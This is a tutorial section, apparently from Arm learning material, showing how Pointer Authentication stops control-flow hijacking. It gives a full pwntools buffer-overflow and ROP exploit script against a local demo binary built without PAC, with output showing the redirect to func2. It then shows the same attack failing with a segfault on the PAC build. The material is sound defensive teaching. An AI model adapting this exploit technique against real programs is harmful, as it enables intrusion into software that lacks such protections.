Understand Arm Pointer Authentication
Prerequisites
Install pwntools and its dependencies. You will use this exploit development library to demonstrate how you can exploit the application built in the previous section without pointer authentication.
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev -y
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
Exploit the application
Create exploit.py with the following to attack the main_nopac application, and cause func2() to be executed.
#!/usr/bin/env python3
from pwn import *
context(os='linux', arch='aarch64')
binary = ELF('./main_nopac')
rop = ROP(binary)
padding = b'A' * 24
rop.call(binary.symbols['func2']) # return to func2
print(rop.gadgets)
log.info("ROP chain:\n" + rop.dump())
print(rop.chain())
data = padding + rop.chain()
print(data)
data = data.replace(b'\0',b'')
print(data)
r = process(['./main_nopac', data])
r.interactive()
If necessary, make the script executable.
chmod +x ./exploit.py
Run exploit.py on main_nopac
Run the script which exploits main_nopac:
./exploit.py
Which should result output similar to the following:
[*] '/home/ubuntu/pac/main_nopac'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loading gadgets for '/home/ubuntu/pac/main_nopac'
{4194964: Gadget(0x400294, ['ret'], [], 0x8), 4257924: Gadget(0x40f884, ['ret', 'ret'], [], 0x10)}
[*] ROP chain:
0x0000: 0x4006f8 0x4006f8()
b'\xf8\x06@\x00\x00\x00\x00\x00'
b'AAAAAAAAAAAAAAAAAAAAAAAA\xf8\x06@\x00\x00\x00\x00\x00'
b'AAAAAAAAAAAAAAAAAAAAAAAA\xf8\x06@'
[+] Starting local process './main_nopac': pid 4585
[*] Switching to interactive mode
Hello World!
Hello from func2!
$
You have successfully altered execution flow of the program and jumped to address 0x4006f8 (func2).
You will be in an interactive shell prompt whilst still inside the application:
$ ls
Makefile exploit.py main.c main_nopac main_pac
$
Use Ctrl+C to exit the shell, and hence the main_nopac application.
[*] Interrupted
[*] Stopped process './main_nopac' (pid 4618)
Attempt to exploit main_pac
Replace the arguments in the script using sed. This saves a new file exploit_pac.py:
sed 's/main_nopac/main_pac/g' exploit.py > exploit_pac.py
chmod +x exploit_pac.py
Now execute exploit_pac.py
./exploit_pac.py
The script attempts the same attack:
[*] '/home/ubuntu/pac/main_pac'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loading gadgets for '/home/ubuntu/pac/main_pac'
{4194964: Gadget(0x400294, ['ret'], [], 0x8), 4257988: Gadget(0x40f8c4, ['ret', 'ret'], [], 0x10)}
[*] ROP chain:
0x0000: 0x4006fc 0x4006fc()
b'\xfc\x06@\x00\x00\x00\x00\x00'
b'AAAAAAAAAAAAAAAAAAAAAAAA\xfc\x06@\x00\x00\x00\x00\x00'
b'AAAAAAAAAAAAAAAAAAAAAAAA\xfc\x06@'
[+] Starting local process './main_pac': pid 4605
[*] Switching to interactive mode
Hello World!
[*] Got EOF while reading in interactive
$
When you attempt to use the shell prompt you generate a SIGSEGV exception instead, and the application terminates.
$ ls
[*] Process './main_pac' stopped with exit code -11 (SIGSEGV) (pid 4605)
[*] Got EOF while sending in interactive
This demonstrates how the Armv8.3-A Pointer Authentication feature provides protection against software attacks.